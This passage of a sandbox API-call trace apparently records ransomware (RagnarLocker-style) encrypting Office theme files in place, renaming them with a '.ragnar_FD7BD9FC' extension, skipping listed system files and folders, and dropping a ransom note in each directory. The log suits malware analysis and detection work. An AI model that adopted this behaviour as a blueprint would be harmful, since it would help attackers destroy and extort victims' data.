files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.553] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=82237) returned 1 [0076.553] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x14134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.553] GetProcessHeap () returned 0x580000 [0076.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.553] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.554] VirtualAlloc (lpAddress=0x0, dwSize=0x1413d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.554] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.554] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.555] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1413d, lpOverlapped=0x0) returned 1 [0076.557] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.557] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1413d, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.558] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1413d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1413d, lpOverlapped=0x0) returned 1 [0076.558] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1413d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.558] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.558] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1413d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.559] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.559] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.559] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.559] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.559] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.559] GetProcessHeap () returned 0x580000 [0076.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.559] CloseHandle (hObject=0x100) returned 1 [0076.559] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" [0076.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.ragnar_FD7BD9FC" [0076.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0076.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.568] lstrcpyW (in: lpString1=0x1eab68, lpString2="SKY.INF" | out: lpString1="SKY.INF") returned="SKY.INF" [0076.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF") returned=".INF" [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="autorun.inf") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="boot.ini") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="bootfont.bin") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="bootsect.bak") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="bootmgr") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="bootmgr.efi") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="bootmgfw.efi") returned 1 [0076.568] lstrcmpiW (lpString1="SKY.INF", lpString2="desktop.ini") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="iconcache.db") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="ntldr") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="ntuser.dat") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="ntuser.dat.log") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="ntuser.ini") returned 1 [0076.569] lstrcmpiW (lpString1="SKY.INF", lpString2="thumbs.db") returned -1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.569] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0076.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.569] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=444) returned 1 [0076.569] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.569] GetProcessHeap () returned 0x580000 [0076.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.569] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.570] VirtualAlloc (lpAddress=0x0, dwSize=0x1bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.570] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.570] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.571] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1bc, lpOverlapped=0x0) returned 1 [0076.571] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.571] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.571] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1bc, lpOverlapped=0x0) returned 1 [0076.571] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.571] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.571] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.571] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.571] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.571] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.572] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.572] GetProcessHeap () returned 0x580000 [0076.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.572] CloseHandle (hObject=0x100) returned 1 [0076.572] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" [0076.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.ragnar_FD7BD9FC" [0076.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.573] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.573] lstrcpyW (in: lpString1=0x1eab68, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned=".PNG" [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.573] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.573] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0076.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.574] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=29305) returned 1 [0076.574] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.574] GetProcessHeap () returned 0x580000 [0076.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.574] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.575] VirtualAlloc (lpAddress=0x0, dwSize=0x7279, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.575] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.575] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.575] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7279, lpOverlapped=0x0) returned 1 [0076.577] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.577] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7279, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.577] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7279, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7279, lpOverlapped=0x0) returned 1 [0076.577] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7279, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.577] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7279, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.577] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.577] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.578] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.578] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.578] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.578] GetProcessHeap () returned 0x580000 [0076.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.578] CloseHandle (hObject=0x100) returned 1 [0076.578] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" [0076.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.578] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.578] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.579] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2=".") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="..") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Windows") returned -1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Windows.old") returned -1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Tor browser") returned -1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Internet Explorer") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Google") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Opera") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Opera Software") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Mozilla") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="Mozilla Firefox") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="$Recycle.Bin") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="ProgramData") returned 1 [0076.579] lstrcmpiW (lpString1="SLATE", lpString2="All Users") returned 1 [0076.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.579] lstrcpyW (in: lpString1=0x1eb638, lpString2="SLATE" | out: lpString1="SLATE") returned="SLATE" [0076.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\" [0076.579] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\" [0076.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RGNR_FD7BD9FC.txt" [0076.579] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.584] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common 